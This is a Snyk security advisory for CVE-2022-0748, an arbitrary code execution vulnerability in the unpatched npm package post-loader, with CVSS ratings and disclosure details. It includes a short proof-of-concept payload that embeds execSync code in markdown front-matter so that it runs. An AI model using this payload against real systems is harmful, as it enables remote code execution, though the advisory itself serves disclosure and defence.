

Arbitrary Code Execution

Affecting `post-loader` package, versions `>=0.0.0`

INTRODUCED: 16 FEB 2022 CVE-2022-0748 ?

CWE-94 ?

FIRST ADDED BY SNYK

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How to fix?

There is no fixed version for `post-loader`.

Overview

Affected versions of this package are vulnerable to Arbitrary Code Execution which uses a markdown parser in an unsafe way so that any javascript code inside the markdown input files gets evaluated and executed.

PoC

```
const postLoader = require('post-loader') var
payload = '---
js\n((require("child_process")).execSync("touch
rce"))'; new postLoader(payload);
```



Snyk CVSS

Attack Complexity Low ?

Confidentiality HIGH ?

Integrity HIGH ?

Availability HIGH ?

[See more](#)

> NVD


9.8 CRITICAL

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes

Suggest your quick fixes.

Test your applications

 **Snyk Learn**

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning

**SnykSNYK-JS-
ID POSTLOADER-
2403737**

Published 2 Mar 2022

Disclosed 16 Feb 2022

CreditFeng Xiao and
Zhongfu Su

Report a new vulnerability

Found a mistake?

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